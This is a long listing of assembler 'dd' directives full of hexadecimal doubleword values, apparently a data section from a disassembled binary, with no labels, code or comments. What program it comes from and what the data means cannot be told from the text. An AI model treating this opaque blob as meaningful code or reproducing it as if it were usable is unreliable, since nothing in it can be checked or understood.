		dd 61410D26h, 74C1F502h, 0BBD1C14h, 57044C0Ch, 170BBC62h
		dd 5C83CB88h, 3857B159h, 0CEBCC748h, 37CB5DDBh,	613AEA7Dh
		dd 8F02DECBh, 0F892A340h, 0E1B09B98h, 28753F1Ch, 0FD13EAACh
		dd 794997A8h, 681B5294h, 54A0592Dh, 3358290Ah, 1F64054Eh
		dd 50BF1B79h, 0FD4A0803h, 78FAD7E4h, 56B2F7B8h,	0C1B05B9Fh
		dd 344C60E9h, 6C13EF39h, 59041C81h, 0EC16A80Fh,	7DB04CF5h
		dd 81E22FF7h, 0BC4BFD16h, 15D59F8Ch, 6DF14FF6h,	0D331B36Fh
		dd 3923430Ch, 0FC054FE6h, 4367C7EDh, 7589EBAFh,	247E784h
		dd 5C390568h, 0EA06FF9h, 0E0C1751Ah, 92ECC09Fh,	982AFC58h
		dd 5F7A3B18h, 5C9AC7D0h, 0B8871CDFh, 10DF34Eh, 1A4384B4h
		dd 50D71C08h, 0BA1BCB9h, 624E393Ah, 623BD680h, 0A73B7995h
		dd 6E791477h, 6238F8CFh, 782F191Eh, 0BD03D842h,	0AE08FA58h
		dd 2F89D2D5h, 3EA29C63h, 4AFEC175h, 5216193h, 0ED42F114h
		dd 0D6887B5h, 58D61A19h, 0ED4CBDA1h, 0DCBD0970h, 4D4EECD3h
		dd 5177FE13h, 0C847DE42h, 5811774Fh, 0E712E78Fh, 78C0651h
		dd 465C13D7h, 0EB6A901Bh, 9D0258BCh, 44E9CD31h,	0C9B1A0E0h
		dd 51090126h, 3838A97Eh, 222DF180h, 8FBD516Bh, 0DDC3E956h
		dd 0C88601C2h, 5890B3BFh
		dd 9FF6F324h, 0E3073D24h, 0C5A24B06h, 0A82175A3h, 9FE2536Ch
		dd 0D549FDB8h, 1537B8D4h, 75688023h, 4A66DAB5h,	262AF34h
		dd 5A0CC9D3h, 51CDB831h, 0D53FD87Ah, 64C15D16h,	45806107h
		dd 40F5740Bh, 1A6C2E30h, 3B3C10D4h, 9236968Bh, 0FB9710BBh
		dd 9B61AB06h, 6CA5D64h,	0E9040A2Dh, 0B8B5E22Ah,	8584D46Ah
		dd 9045ABE3h, 0E4068F66h, 4A292B25h, 94C6BBC7h,	8C3C4A3Eh
		dd 8923923h, 0CFD8A3BDh, 0E0D38A42h, 1FE5E740h,	71B317Eh
		dd 646EE0F7h, 9817BA12h, 0F56D31FBh, 0A3416F37h, 1AC95346h
		dd 25AE07Eh, 6542004h, 79D084E9h, 183311BAh, 0DE294312h
		dd 5C53DE68h, 53501EB4h, 26192A85h, 0B2FE14C4h,	0B8D05B2Eh
		dd 4F3A32C2h, 18D3A47Ah, 73C95E5Bh, 9627D1E0h, 6B5387BEh
		dd 0C3D73B6Dh, 5983F91Ch, 7FF28C50h, 52493860h,	10C4EF9h
		dd 0CFE5EA7Ah, 0B4B12FF4h, 7FC1DE14h, 0D24E87Ch, 0BF037033h
		dd 90CB8456h, 0B759CF71h, 53850F65h, 59EBFEF9h,	4FA1072h
		dd 68D271A3h, 0CD889B7h, 652DEh, 0DDB93815h, 0E9578635h
		dd 0C804C027h, 2564453Bh, 82E92DFEh, 0C19A945Bh, 2658330Ch
		dd 21771780h, 3C2F08D9h, 0CD657D27h, 2A10AAA4h,	68C32802h
		dd 45FE05CAh, 5169B260h, 53D12C88h, 12DC9086h, 911AC05Ah
		dd 21F54006h, 14808222h, 0D66B6EC2h, 0E2685609h, 6F385E27h
		dd 4A02B873h, 0A6E2F7B8h, 582E94D8h, 3D37445Eh,	0D6EA64C7h
		dd 502AB69Ch, 4D256679h, 3587813Eh, 88F449Fh, 0BCD367EBh
		dd 988C5FC9h, 0C8795B64h, 0B95B7BDCh, 0F202E3E3h, 73C22856h
		dd 355B8075h, 4BB979D6h, 354BA0Dh, 0CEEE1790h, 405ACE22h
		dd 2407F570h, 0B5F7A10h, 9D2411D1h, 4ED8AFDDh, 0C77062BAh
		dd 0A9666708h, 0F9B65200h, 8856C680h, 0AAE917F5h, 12558A8Eh
		dd 0EAA42E7Fh, 4586170Dh, 0D506FA7Eh, 0E25B4D0Bh, 0E87AE132h
		dd 0E3DE170h, 0A729D81h, 305938AEh, 6FC0D4F0h, 325A8AEAh
		dd 1F6A950Fh, 84F7080Bh, 0A2EE026Eh, 0A2E4D078h, 5EB44996h
		dd 3EAEB43Fh, 0C6047A41h, 0B55A53F3h, 0DE8B3A02h, 2F18B55Ah
		dd 0B05ACF4Ah, 0B4B371Ah, 4A615583h, 2C69305Eh,	0C39B2604h
		dd 0C5F81EE9h, 6D910B4Bh, 0D3DF3542h, 0A0269A7h, 0FA4A0F07h
		dd 4061C302h, 55074466h, 821CE068h, 26CD7709h, 51FA8F8Bh
		dd 0C55288C1h, 434E6805h, 3682FC37h, 0D2735554h, 3959E961h
		dd 5385302Ch, 45C2EEB3h, 0D4BD001Fh, 4E00D057h,	0A830C581h
		dd 0BD01B12Fh, 59AF26C5h, 0CD8BCC78h, 582463EFh, 34F10509h
		dd 0C3AE6A97h, 8014840h, 75940507h, 67D43DEFh, 543C5CA2h
		dd 17D57E10h, 0BEFE2D0h, 0AE7A34C3h, 0E1D1E841h, 53605F02h
		dd 1328BAC9h, 7120D621h, 0AA829D50h, 68002D57h,	5FD73E1Bh
		dd 0F92CEB78h, 7DD7A73h, 5EF189B1h, 26E1A041h, 1B5EE320h
		dd 0EE900E91h, 0EF00546Dh, 5DF22185h, 1E90F701h, 0DFD30882h
		dd 11BDE941h, 795EAA2Ah, 1043A40Ch, 0EF66525Ch,	0FEF2A20Bh
		dd 0B61823D1h, 5F9B6877h, 93183036h, 19082D5Eh,	243FFDE9h
		dd 115709FAh, 48F8CE60h, 0F3827D82h, 0D80BD998h, 0AEDDFFD4h
		dd 0D380BD2Fh, 3519E2EBh, 7F8C8A5Dh, 0E2A8A25Eh, 0D64C5D1Ah
		dd 0EEC0F38Ah, 71BC8BC5h, 0DFF74784h, 0E551A587h, 9300843h
		dd 0F8301303h, 29BB556h, 1E5E5F08h, 211EC2Fh, 595E51C1h
		dd 89904E58h, 98D3FED4h, 0C004F4B8h, 0B95F5467h, 18050556h
		dd 0E1013870h, 43214D50h, 4E111881h, 6B89F563h,	57BE3D1h
		dd 39EE8000h, 0DDD72C2Dh, 7195C7B6h, 70B38204h,	437F792Ch
		dd 9B5BA3F6h, 0DFF083DBh, 8CC18049h, 95FCF680h,	5D658B5Dh
		dd 511F9F66h, 92241168h, 52D8B360h, 61DA7288h, 0ADE92DD5h
		dd 0C4693CB1h, 0CDAB864Bh, 34136E4Ah, 25E14508h, 0F6206B70h
		dd 687014h, 5E408447h, 7BB904BAh, 0F384BF5Bh, 0E9E4CCFFh
		dd 40F01B34h, 57E57D81h, 0EC7DF2C0h, 90C70EDh, 0EB896CE0h
		dd 505825DEh, 0B1BD0455h, 0BE7F9B3Ch, 3B173BCBh, 0A102E83Dh
		dd 0E9001F1Dh, 7CC7168Dh, 9B740CB2h, 5428ADA8h,	9C3E277Ah
		dd 1E42FDCh, 109AE4BEh,	408AC653h, 0FE4BFB92h, 982321AFh
		dd 7071052Ch, 256EA4EEh, 502CFD46h, 92EDB99Dh, 64D1BA1Ah
		dd 95445729h, 641F4A04h, 0FFCBB445h, 0E8D7FAC4h, 9E455F59h
		dd 0D65908ADh, 0E8F1321Bh, 74D8280Eh, 0E6E42Ch,	0B050535Bh
		dd 8073B7D3h, 3A4DEF38h, 4AEBF2C7h, 5066372Ah, 0CD129004h
		dd 3C1C6117h, 8EAF4B77h, 0F06E1325h, 0F5CB3461h, 84A6E96Eh
		dd 5FA93A7Fh, 0C8575D16h, 0FBF45FF6h, 0A85365BDh, 46E72E40h
		dd 2A174038h, 44D06986h, 3B0841E1h, 80602DA1h, 0CA315B49h
		dd 0F2027D0h, 49F8CE13h, 0D6E47FC7h, 95D5F702h,	719F99E9h
		dd 753F3C61h, 2FB510E0h, 0D707CD80h, 0E5D0DDF6h, 0DD13F572h
		dd 2DE99360h, 0B1BC2F4Eh, 0AB0856DEh, 49CDAC46h, 5A91F406h
		dd 0D21DED92h, 89FE9757h, 0D3A82B8Eh, 6A3092F1h, 5606A4F7h
		dd 0E567EB68h, 0A0BE3C75h, 661E5FEBh, 0F9F76616h, 611ADFEBh
		dd 3DC46808h, 46636589h, 0C1E460D6h, 270B50E1h,	0EB870217h
		dd 68D087DDh, 101D693Dh, 3C4E7C50h, 0B4EB20AAh,	0CC39FE1Eh
		dd 0AF93080h, 4FE9D4F6h, 0E320E4B0h, 0FC3D16FCh, 57BEA76Eh
		dd 5D12CD45h, 0EDAA9DC4h, 0F582F5Fh, 2016CBF7h,	336D352Dh
		dd 180A4867h, 0D67C3C04h, 0BB94FE10h, 0A258080Bh, 4FB8A7BAh
		dd 0EEEB0883h, 0C006C535h, 4FB680B4h, 927AF202h, 0FE5E89B6h
		dd 0E0BFB134h, 8E418C9Dh, 0C56CB43Bh, 0D4FB0C2Fh, 0FA5B0497h
		dd 68588CFEh, 0DD11EF6Bh, 9ED2AAA3h, 5B7799C7h,	7B4D6203h
		dd 4D345606h, 0FB4B285Fh, 0EF4B69CAh, 0C4F7ECD8h, 0B3474976h
		dd 0E8FD1025h, 0F893BB3Ah, 6749AAD7h, 0B37D823h, 0D9F648B1h
		dd 0C042C6D8h, 8637A94Ah, 4978216h, 85DF4BEh, 641FF36h
		dd 103B6F6Dh, 7E02286Ch, 4EE95985h, 0AF29EAA5h,	0AD3EEDDDh
		dd 0D4178A3Fh, 5AD62186h, 29F70B46h, 0DA3E6E2Bh, 4A76E93Ah
		dd 0C1E0D8BEh, 0DE12E82Fh, 45350959h, 2E596E7Fh, 496F59CDh
		dd 49351C75h, 124AACE1h, 66C9A464h, 97F78ABFh, 61EA3B17h
		dd 7FF98BFh, 0F2BBBE0h,	0C4814BE9h, 81CEBB6Fh, 0EE5CAC16h
		dd 800C353Ch, 0B431E9E1h, 342C2641h, 95769F60h,	4B404856h
		dd 2D0ED853h, 0A8D4DBF7h, 45B8D084h, 680845FBh,	0AA8CFBC9h
		dd 4A582F5Ah, 3C753778h, 1F0C7160h, 0A12A9D72h,	0E6DC28BDh
		dd 0D6290A6Ch, 2F08BA52h, 3BC2B302h, 7E70B0Eh, 8FA4D15Dh
		dd 356199B1h, 9D3A6221h, 6B5C2162h, 0BC9EF8C8h,	8A591259h
		dd 855C24A5h, 7D346885h, 0B50337BFh, 79D9EB02h,	0C0C4D76Ch
		dd 0CCE9BB61h, 2312BB97h, 1215A3AAh, 0BEB2E8BAh, 8C685304h
		dd 79709151h, 7E5FC207h, 0A859C999h, 23738049h,	0BF039D64h
		dd 261B85E1h, 0D0A25FEAh, 0ECAC12h, 17BAB86Bh, 83003397h
		dd 0E0C101E8h, 14862502h, 0B318A33Eh, 1F0C6C05h, 5FC1EE7Bh
		dd 0D1BBECDDh, 0CC76F7Bh, 8B51846Ch, 2738C79Dh,	95DBB657h
		dd 4FCC13F5h, 0BAAC5372h, 83960648h, 74E68059h,	0C1E5C699h
		dd 0E37FFEF0h, 0F58E12D5h, 4ECBBEC1h, 16C56801h, 3E5F7C0Fh
		dd 0E50623B2h, 0C50A71Ch, 97F1B31Dh, 220057D3h,	759E7D51h
		dd 0A7409629h, 0C206154h, 200BF095h, 629DE211h,	3167C4A6h
		dd 0EDF34063h, 0E5601701h, 500F454Bh, 77BAD849h, 0BCFB5B44h
		dd 5C312F40h, 5AD70949h, 9B56C4D4h, 3FE909EBh, 5152FBA3h
		dd 8625BC39h, 29B9706Dh
		dd 9EF1E80Bh, 92E91F60h, 0F7AAB447h, 7B9E0238h,	7145F469h
		dd 0E575E9FBh, 0C21D1276h, 2F5DBEE3h, 311B4CE1h, 0E663B8FEh
		dd 0D8F780EFh, 3C2D4002h, 0DFBE09E8h, 3FD285CAh, 6A9521E4h
		dd 58EF7C02h, 2E90EB56h, 98E25C4Ah, 0AB5EF7C4h,	0EAD201E9h
		dd 0E90D5E9Fh, 6FA085F1h, 0EF81B281h, 41DFEC6Ah, 0EBE86AC3h
		dd 0BFAEE90Dh, 0E68041C9h, 0C3800010h, 7B287381h, 91A42550h
		dd 0E58FF6E8h, 9330FA3Dh, 31BB0EBDh, 6FA7A66Fh,	15968D37h
		dd 0EB815CCBh, 47934804h, 0E7E6EA31h, 63ECD741h, 0B26BFD17h
		dd 37330410h, 0DA012435h, 47A8235Ch, 967BD1DBh,	0BF0C8F63h
		dd 0FBF85232h, 0EB71622Fh, 5029D020h, 694FFB92h, 71C770C3h
		dd 0BF570048h, 8280840Ch, 16F0EB05h, 0F80D5590h, 281A8EE9h
		dd 680CA468h, 14432EB0h, 31FD577Dh, 0BCA63E53h,	0AED25C84h
		dd 0EA65FF43h, 0BF8B4AFEh, 0CA883EC4h, 40BE4BD5h, 6F74C3C2h
		dd 2BEB0115h, 0A0EB1770h, 4BC22E6Bh, 2037263Eh,	1D1CD008h
		dd 917F186Bh, 56CAD69Ah, 73296FE1h, 71DF3C62h, 33DEEB20h
		dd 0D4ED0609h, 0CF273A1h, 0D1D5FB89h, 743A4C74h, 0A059DC40h
		dd 2E0D62AFh, 10622B23h, 12513B91h, 1CA452A3h, 0AF764A99h
		dd 0B97E6B29h, 70984D9h, 5D0231BBh, 0EECD106Ah,	6DD43D76h
		dd 8E33F0ACh, 0AE972B2h, 9280DAD8h, 611FF9F3h, 5F3B4E64h
		dd 0A0FFC612h, 0A594DE96h, 0AA185816h, 300A6BD8h, 0CDC422EBh
		dd 7E5BED38h, 1694E585h, 2D2FEDEEh, 68D5C008h, 315E5F14h
		dd 3A26AAF1h, 17BED977h, 0FBA8BA0h, 620A3643h, 0FEF44F5Dh
		dd 0F08BA875h, 4F932E74h, 90EC6A56h, 8191FAA7h,	44E8BD55h
		dd 1016685Dh, 5C063EBCh, 2F6CA468h, 13E9DABFh, 1631A8BBh
		dd 45E2600h, 0C3269288h, 7CBBEC2Dh, 57A80953h, 2CE3A110h
		dd 751D9C2Fh, 608B488h,	26319FE9h, 0D17407BDh, 2AE944Bh
		dd 5308ECC0h, 0B3FEBBB7h, 14EC70Eh, 655BE9FCh, 0EEC3B424h
		dd 0ABE2974Ch, 7C95654Ch, 0E8C1845Ch, 57BD9CFEh, 3B14DF97h
		dd 0F8CEE913h, 7CB50741h, 0E860C530h, 4C469D96h, 7F5D10F2h
		dd 50E116EBh, 6F683100h, 0A048271Ah, 0E0C0EEB7h, 25D37F2Fh
		dd 40F5F089h, 977DED52h, 9A49529Ah, 28AB3B5Ch, 0E92F5684h
		dd 2110521Eh, 0BA836CDEh, 98117B7Ah, 0B8D1D2F7h, 0EF2042Bh
		dd 0C00BDD09h, 3C28DE7Dh, 10BB1E5Ah, 0FF4F0874h, 0EEEB6845h
		dd 8A176216h, 0E3BB7A84h, 0F9FC93CAh, 0E320E9B0h, 6CD576BDh
		dd 0FF9D795Dh, 0C5D5282Bh, 45E9C1EDh, 73453BD6h, 0F231402h
		dd 35D4CC8Bh, 527A3CFEh, 3A62A99Ch, 0C2F80921h,	1A0415E4h
		dd 4DBB5334h, 842936C2h, 0F9EF5B96h, 0D5022C3Bh, 48FEF309h
		dd 728852D7h, 77F5F5C6h, 0C889D655h, 2026393Fh,	51BD3B73h
		dd 0EA529750h, 294A331Ah, 0AA1F45ECh, 4E02202Bh, 5EC3BD05h
		dd 91C0295Dh, 607F33D0h, 6696BC78h, 12C19CCh, 0EDE024DDh
		dd 50BE6182h, 3839F737h, 0A1CB454Fh, 88BCA0Ch, 6903945Ch
		dd 0B56D437Ah, 7514B2FBh, 0A5EEB717h, 2E8ABF17h, 904DE04Eh
		dd 97FDC41h, 0F429AF91h, 3A7035D6h, 0EC2DD3F1h,	3F5604B6h
		dd 558378C4h, 0BB2B17Bh, 0E523FE2Ah, 73768129h,	9291F23Eh
		dd 4AB58ABEh, 0C9221ED2h, 2D3F55DFh, 24922117h,	0E74FC1DAh
		dd 457C7BE1h, 0CC2FC2B0h, 0E98C5E63h, 66E7165Fh, 3BC5AC55h
		dd 4FF07B5Dh, 0FD4B87F4h, 9C40CBF9h, 0B6063FBh,	0A1EC9F98h
		dd 0D8089F5Fh, 164A2D04h, 0F133E4BFh, 2B40949h,	77E7D8F6h
		dd 0F900F04Dh, 0DD8E3378h, 81680930h, 90315735h, 16BDBFFEh
		dd 1D6109AFh, 0FA043F53h, 12A3A914h, 0A953AC21h, 45538C00h
		dd 2C5A27C0h, 59D2D689h, 42D5EEF7h, 0DED86CBh, 0BBC53EA9h
		dd 0DA15199Bh, 8134DCE9h, 11A3EB1Bh, 37606130h,	43CE97A6h
		dd 2AD5FEF7h, 0C3033C47h, 0E330321Eh, 38BE8526h, 9FA021FCh
		dd 80B8C009h, 0DB991C64h, 30E0A5AEh, 4E010838h,	650556E3h
		dd 8920504Dh, 72D50D8h,	9885B05Bh, 7FC700C9h, 0CE815808h
		dd 41264874h, 0C2006C54h, 0E9AA19CFh, 0FD01BFB2h, 2B3C8B5Ch
		dd 55DC78BAh, 1FCF6804h, 938B725Ch, 580BA85Eh, 13180B2Eh
		dd 0BED9C04Ch, 0CC702DB7h, 72BA6D5h, 51043706h,	0E984C4D7h
		dd 5EC604ABh, 0C82EE67h, 0A125E0CEh, 50162E31h,	0E6F0164Dh
		dd 85A69665h, 0BEE0B327h, 86EEE328h, 30ACE8A8h,	22CFD848h
		dd 0BDC4C06Fh, 0F59265Ah, 10BF895h, 63ED1129h, 0A6FB68E9h
		dd 0FE20F628h, 0BF214D41h, 925F71F8h, 3E772053h, 4B58FEF5h
		dd 7913C2F4h, 57AD2CF2h, 8C3DF686h, 0AC89D326h,	624BA817h
		dd 9D0B5501h, 0CE82D5Fh, 4BF4E56Bh, 56304E55h, 0D235F5E9h
		dd 4EBCA5h, 0B3443B05h,	985E5956h, 2026099Ch, 1E0040A5h
		dd 427C7E27h, 0CCCCE93Dh, 8C32D303h, 4CAC7F17h,	0AEFE414Eh
		dd 835F323Ch, 0D5685EF3h, 8AEF3F4Eh, 19CBDB54h,	42F00257h
		dd 4A123BC3h, 870004EAh, 5FAAF936h, 0C4EFDE85h,	7FF08793h
		dd 0A2D4EF3Eh, 686187A9h, 6D8B693Ch, 42D91B57h,	0D9D792BCh
		dd 0F68429B9h, 8499EF1Ah, 406BFC40h, 0AB774C2Dh, 0E51F224h
		dd 0CAC07417h, 2EF60960h, 4F5DE0B5h, 0AA2F58FEh, 0E658E901h
		dd 21D3010Fh, 890804F4h, 0F4E150h, 0BD62EA80h, 0C30D0EFEh
		dd 0C52ECEC8h, 4174AE66h, 2BB23DEEh, 4041B33Ch,	0BA03BD3Ah
		dd 686B7631h, 70408D7Fh, 7C43FABBh, 9AF59547h, 77E40987h
		dd 7F729FF9h, 49442DA2h, 4EBC000h, 80D33AF6h, 1C30F29Eh
		dd 5D60E759h, 46B7F88Dh, 186E2D46h, 0C0EAB456h,	79394C4Fh
		dd 18D49DEEh, 0F0B581Fh, 0E214774Ch, 0E7897790h, 0EA43B59h
		dd 38574139h, 775C27E4h, 7AA35DB1h, 0B0464CA3h,	0A1E6BF92h
		dd 1798814Fh, 0E9B0D798h, 82BCEEFCh, 21CB6841h,	0B18B9392h
		dd 74A33B62h, 185AE982h, 252A14DFh, 82E677E4h, 0B92A9201h
		dd 0C5D5E912h, 0A3FF31A7h, 93DE31F0h, 0B1084BF3h, 0EC4EE3BFh
		dd 6D6F2EF1h, 0B9602A25h, 95693B9h, 0A7E9396Bh,	95F1952Bh
		dd 8066BC02h, 9461E13Eh, 7D3DA37Fh, 1ECF7664h, 0AC7A66A1h
		dd 4809B593h, 0DE185D78h, 511F4205h, 4BBA77F6h,	0E6881CC1h
		dd 0E9C5E322h, 0BFD5A0C6h, 284AA716h, 0D1808204h, 0EF506604h
		dd 58889DACh, 7FAFFB62h, 9AFD9AA2h, 0D6DF8909h,	2652A5E4h
		dd 0D7AEB925h, 0D7270745h, 0CCB76738h, 4A89D1B5h, 0AF539310h
		dd 188A6A6h, 0BD0E46C9h, 0F04DBA50h, 460127FCh,	275F7970h
		dd 66D94885h, 0D7189B89h, 68858BCDh, 69FE6FCDh,	10563D5Ah
		dd 6604153Fh, 0AAB1B551h, 922C3744h, 0E57405BCh, 0BD515BF0h
		dd 0C02D5D65h, 82DB7B1Ah, 9653FEC1h, 0E9B15B12h, 6480A07Ah
		dd 42BE6A1Ch, 2BA95752h, 2B0C0980h, 0A4905810h,	0C89D5D27h
		dd 2C7BCBC4h, 2FFF5FD2h, 56838B7Fh, 12700AB1h, 0E25792E3h
		dd 4D87C4CEh, 0A7C42EECh, 405FCA28h, 0AA63C3B8h, 0E1CABA28h
		dd 406BF7C5h, 6809EB3Ah, 294F53B1h, 5008F910h, 7FE6E9B2h
		dd 5245DB91h, 151776EDh, 80B8E870h, 6EDC82F1h, 9546B8BEh
		dd 56558B18h, 6BE1E972h, 0BD08C888h, 574C641h, 0B802C1AAh
		dd 0F0F82ACDh, 0FE70DA8Bh, 69A0BE1Ch, 958C4D5Eh, 3EB9372h
		dd 3F5616AEh, 0AE10295Ah, 134D237Dh, 17BBE64Eh,	95882191h
		dd 513252FFh, 240E90Bh,	64F157Eh, 92300AE4h, 20DD5C34h
		dd 8D561A85h, 55C488ADh, 3EB80177h, 30466C58h, 0FD825BC7h
		dd 2BF7CFB0h, 36E56812h, 4754D708h, 3B5999EAh, 3CE7D920h
		dd 0F0211952h, 0F5818A62h
		dd 103FE2F5h, 5877F640h, 286C0993h, 48F5486Eh, 2D06B416h
		dd 0B2D82177h, 70B2FE9Dh, 669DBF8Ch, 0E0B805A3h, 0E1EE3E89h
		dd 4F2844A7h, 0F88E66CFh, 16340376h, 0FFDCFEE3h, 0E3EA9B53h
		dd 61A5C40Fh, 0EA67CCEBh, 2E444809h, 8328FA16h,	0C91C0208h
		dd 593D7C63h, 366C74FBh, 5D1819BEh, 42EA473Dh, 53DF5908h
		dd 5CA88F73h, 0E2E3EA53h, 7954C299h, 2010102Dh,	1667B31Ch
		dd 0E30004F3h, 3B8427FEh, 7C683E90h, 600A9C61h,	5C9C1F8Ah
		dd 67ECA1h, 283EC981h, 5BF7294Ch, 0BFED0B77h, 0D706BB51h
		dd 4066FA87h, 0D19731EDh, 0AB5C690Fh, 2805E906h, 8CB90F58h
		dd 0F1137C40h, 5F903AA7h, 42497B82h, 6C527C7Ah,	2B5A300Ch
		dd 1370F304h, 0F6015B3Eh, 7A0C41BFh, 0B8318EB0h, 587C5821h
		dd 5E25C34Eh, 2C4278B1h, 13559405h, 0EBCD3955h,	7A1C8941h
		dd 82DEA83Eh, 77143552h, 87C23BC0h, 76129725h, 4DE904F5h
		dd 0FE4ED455h, 81E970F1h, 0FC3E6565h, 0AAE9E031h, 0B07BB758h
		dd 0A6DEE50Dh, 0B988E7Eh, 5F68BAE9h, 0ED3AC098h, 13298182h
		dd 0F7E6CE28h, 872605F9h, 0CFBEE9C1h, 0D629202Fh, 5B4B643Ch
		dd 1CAB49EFh, 0B8077E78h, 0B1B9C397h, 34384CAEh, 0BDF13980h
		dd 283DC787h, 87EF84CFh, 0B3F80457h, 0F0127EC3h, 1CBD682Ch
		dd 0E026668Fh, 2CDDEA18h, 973023CCh, 0E2724479h, 990F600Eh
		dd 0BEF2C04Eh, 0C008DD5Ah, 4A7DBF0Ch, 0A45BE925h, 0B6A7CFA1h
		dd 0E924B4BEh, 0E8A09D9Dh, 5FD41D59h, 6F843BB0h, 2B8A1A73h
		dd 8034A4BAh, 0A11B280Dh, 0B090516h, 0F5F8540Fh, 0BDE90310h
		dd 5CDFC297h, 1B68C1C4h, 28A6264Ah, 0C1054802h,	28460574h
		dd 0A3E94DB0h, 66DBA908h, 41CCF76Ah, 466A28F3h,	0A34E7D6Eh
		dd 0CC888702h, 0E7BCB959h, 6D74ED61h, 4D38785Ah, 2927D0CFh
		dd 7CC44E40h, 0F260733Eh, 5B5D64B2h, 0EAE07E25h, 0B0C28080h
		dd 0CFD7EFC2h, 6EFE065Dh, 1452208Bh, 0D2E5584Ah, 172829E9h
		dd 1A6FBA02h, 0E360472Ch, 3A2C7B38h, 0E90BD650h, 80726041h
		dd 78E464CBh, 202ABE3h,	0EE530FDh, 0C5FDEB09h, 0DF699CFAh
		dd 0DD2842C5h, 0A17686E9h, 0F3165413h, 7D0E4D1Ah, 0C144E06Eh
		dd 0DD4BE9h, 4149B943h,	82BF7218h, 0BF9BD13h, 37285954h
		dd 0AF148209h, 9022FF64h, 5B051759h, 0AC8AA485h, 0FD59C240h
		dd 13AEE9ECh, 0FFC34279h, 0C59ADA11h, 13C91617h, 9FEAD244h
		dd 5CE90B56h, 489855D8h, 8180D6B7h, 595402EEh, 0DEF72822h
		dd 0BB031F4Ch, 3CD00292h, 0F3BFEC01h, 0C6AC5030h, 567D710Ch
		dd 14640C2Ah, 21DF0ABAh, 0B64A45C1h, 67A1302Dh,	7066A09h
		dd 9869C321h, 5FE144B4h, 5589C00Eh, 774035E9h, 572C0CBBh
		dd 21C3B69h, 0C29D5AFAh, 0ADCF75ACh, 558874A6h,	78050123h
		dd 0E867911Dh, 0DB820826h, 48D727C4h, 0BBD54AE5h, 35EB3065h
		dd 1C047F7Ah, 8222E96Bh, 3E1D5696h, 985E0968h, 70BD508Fh
		dd 1E3D2062h, 139D2958h, 61AE9E95h, 9BF57C1h, 0AC1A004h
		dd 0C821FA6h, 725E4CA5h, 89228541h, 7261C223h, 16E5ECF7h
		dd 0C5371B4Ah, 1A0F71F8h, 0ECC8123Dh, 0BB2D4BEAh, 89E9A802h
		dd 0E27AD750h, 6049A2F0h, 5E5205Dh, 0F7DB34F5h,	2AB1BACCh
		dd 5F6CEB20h, 92BEF73Dh, 2DE9A32Ch, 589C68CCh, 2CE54FFCh
		dd 672597A9h, 921752ACh, 0E783B859h, 810FDCBh, 0E5B667B8h
		dd 0F5EA4662h, 5C124095h, 0BAABB9F0h, 27969573h, 567668BDh
		dd 34070568h, 0A15E4713h, 573ED0C4h, 0D0AA4E4Ah, 2D6A728h
		dd 0E1B1015Eh, 4561BA3Eh, 0BDBACE9h, 0FEDB17F7h, 0EC52262Eh
		dd 963127B3h, 37589514h, 246C1330h, 36D16BEh, 0E68156EBh
		dd 1EF23CAEh, 3839F7F6h, 0D14EA768h, 7CBA8113h,	2B090F0Ch
		dd 0ACED20BEh, 7297B316h, 9BCCF392h, 2BE43CEBh,	85BAA8CBh
		dd 7BA940DDh, 5ABAF95Bh, 0D69FD0F9h, 0DAEB0D30h, 3886BCCh
		dd 0EAA55B42h, 0B552702Ch, 998B69D3h, 0D28DA4B0h, 1F4049FFh
		dd 625BC0A7h, 63E6DA82h, 9FA46CB7h, 136FE8D1h, 631326EAh
		dd 42FC4230h, 250AAF05h, 795E31E8h, 2D3C770Dh, 0F3015DD8h
		dd 0E1283F30h, 0C8ECB93Eh, 672A160Ch, 38E280CCh, 5A7C1BE0h
		dd 22ED80BDh, 52E41FC7h, 0E909FE89h, 36FD44EDh,	792049D1h
		dd 1BD8C15Eh, 904B680Fh, 79F20498h, 40EE2270h, 7FEBE2DFh
		dd 0D2BF017Ah, 0C08898FCh, 0FB082D34h, 0F3A206B7h, 286A765Dh
		dd 89DC4AF6h, 97420CCh,	0FDF85F81h, 1283AB37h, 0A94950AFh
		dd 85C2D288h, 3A70F7EBh, 0BAC15E5Fh, 0AD50D9B4h, 588845FAh
		dd 7D482F87h, 6D149573h, 0A7704795h, 80B83DBh, 0EDD2230Bh
		dd 39062501h, 0EB97EAD4h, 0C2D6291Ch, 245442BFh, 0B2856187h
		dd 819B3476h, 5DD3F55h,	84594583h, 5B51D8AAh, 1A53522Eh
		dd 1CAEE412h, 5AD387E6h, 3AE9A159h, 0EB4F921Fh,	0BF5B1DECh
		dd 32318A0Fh, 0C8BF8275h, 681C5268h, 0D72522A4h, 42093CC5h
		dd 703778DFh, 7DA30BA7h, 0C555F229h, 0AD76E9B5h, 0C0FF97CFh
		dd 390E957h, 0D71B12B7h, 4869C0F1h, 5AE12813h, 5FC340FEh
		dd 46D6E781h, 23C7D58h,	0C14C7EC7h, 0E6767757h,	24D01609h
		dd 80AAEA0Fh, 7F5C79D4h, 82BE9890h, 4B51E958h, 4D23AB7Ch
		dd 42CBD1C3h, 7B2DBE2Fh, 8086A930h, 6812925Ch, 0D8AC59ACh
		dd 349B42DEh, 90D56473h, 81EEDCDDh, 0FE5CD301h,	64284B03h
		dd 13A92D68h, 7C709D19h, 0E8C11359h, 35D42BC1h,	562F4D63h
		dd 664571F4h, 86B598ACh, 4D4BCDF1h, 564D4EBh, 0EF4571F0h
		dd 0D9E39240h, 0F82F4C2Ch, 0BDF35E8Eh, 0EB89791h, 8154D24Eh
		dd 5E125B5Ch, 0F15AC0FBh, 1160DD0Eh, 55C87D0Ch,	0DEE9137Fh
		dd 0A1D1F8C4h, 68008DE3h, 0B2BF1640h, 296D626Dh, 5DF5095h
		dd 3FDFEF81h, 0BABA8295h, 0AD58B4E9h, 5B04050Ch, 3F022DBAh
		dd 621175A2h, 731C2512h, 2FB90012h, 4131945Fh, 59C98103h
		dd 0B80B556Bh, 27CDBB53h, 0F7D3F35h, 60BF576Eh,	0D00D58B2h
		dd 811C29E5h, 3D6E180Eh, 0CFD88343h, 0F36022E7h, 4E1C06F4h
		dd 2C01BA35h, 717A3997h, 9615360h, 9F01A7Ch, 0F2E6CB77h
		dd 72E07E28h, 30841F62h, 8903B960h, 41BF0DDh, 860F73EEh
		dd 52358219h, 4B6F38D9h, 0C20B564Fh, 10BA794h, 0A172F5EFh
		dd 0CCF5B07Ah, 61DC5D18h, 2E764A0Ch, 589F1F75h,	2196D3E9h
		dd 0EBFAF925h, 0E961D17Eh, 0F151B240h, 216104E6h, 14DD1930h
